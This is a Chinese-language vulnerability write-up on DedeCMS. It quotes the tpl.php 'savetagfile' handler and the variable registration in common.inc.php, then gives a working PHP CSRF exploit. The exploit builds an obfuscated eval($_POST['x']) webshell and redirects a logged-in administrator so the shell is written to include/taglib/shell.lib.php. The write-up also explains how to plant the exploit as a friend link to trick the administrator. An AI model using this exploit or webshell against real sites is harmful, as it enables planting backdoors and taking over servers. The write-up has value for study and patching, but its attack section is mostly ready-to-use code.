0x01 代码审计

 /dede/tpl.php


		
  1. else if($action=='savetagfile')
  2. {
  3. if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
  4. {
  5. ShowMsg('文件名不合法,不允许进行操作!', '-1');
  6. exit();
  7. }
  8. require_once(DEDEINC.'/oxwindow.class.php');
  9. $tagname = preg_replace("#\.lib\.php$#i", "", $filename);
  10. $content = stripslashes($content);
  11. $truefile = DEDEINC.'/taglib/'.$filename;
  12. $fp = fopen($truefile, 'w');
  13. fwrite($fp, $content);
  14. fclose($fp);
  15. $msg = "
  16. <form name='form1' action='tag_test_action.php' target='blank' method='post'>
  17. <input type='hidden' name='dopost' value='make' />
  18. <b>测试标签:</b>(需要使用环境变量的不能在此测试)<br/>
  19. <textarea name='partcode' cols='150' rows='6' style='width:90%;'>{dede:{$tagname} }{/dede:{$tagname}}</textarea><br />
  20. <input name='imageField1' type='image' class='np' src='images/button_ok.gif' width='60' height='22' border='0' />
  21. </form>
  22. ";
  23. $wintitle = "成功修改/创建文件!";
  24. $wecome_info = "<a href='templets_tagsource.php'>标签源码碎片管理</a> &gt;&gt; 修改/新建标签";
  25. $win = new OxWindow();
  26. $win->AddTitle("修改/新建标签:");
  27. $win->AddMsgItem($msg);
  28. $winform = $win->GetWindow("hand","&nbsp;",false);
  29. $win->Display();
  30. exit();
  31. }

common.inc.php:


		
  1. foreach(Array('_GET','_POST','_COOKIE') as $_request)
  2. {
  3. foreach($$_request as $_k => $_v)
  4. {
  5. if($_k == 'nvarname') ${$_k} = $_v;
  6. else ${$_k} = _RunMagicQuotes($_v);
  7. }
  8. }

这样就是一枚Csrf了,在友链处填写exp代码管理员登陆状态下点击就可以触发了。

0x02 漏洞证明  exp如下:


		
  1. <?php
  2. //print_r($_SERVER);
  3. $referer = $_SERVER['HTTP_REFERER'];
  4. $dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede后台的路径
  5. //拼接 exp
  6. $muma = '<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'x'.'\''.']'.')'.';'.'?'.'>';
  7. $exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php';
  8. $url = $dede_login.$exp;
  9. //echo $url;
  10. header("location: ".$url);
  11. // send mail coder
  12. exit();
  13. ?>

将源码保存为exp.php放置于自己的空间上,然后在申请友链处将其设置为友链
 

 当管理员进入后台审核该友链时 点一下就会触发该漏洞。
include/taglib目录即可发现shell.lib.php的一句话后门 密码x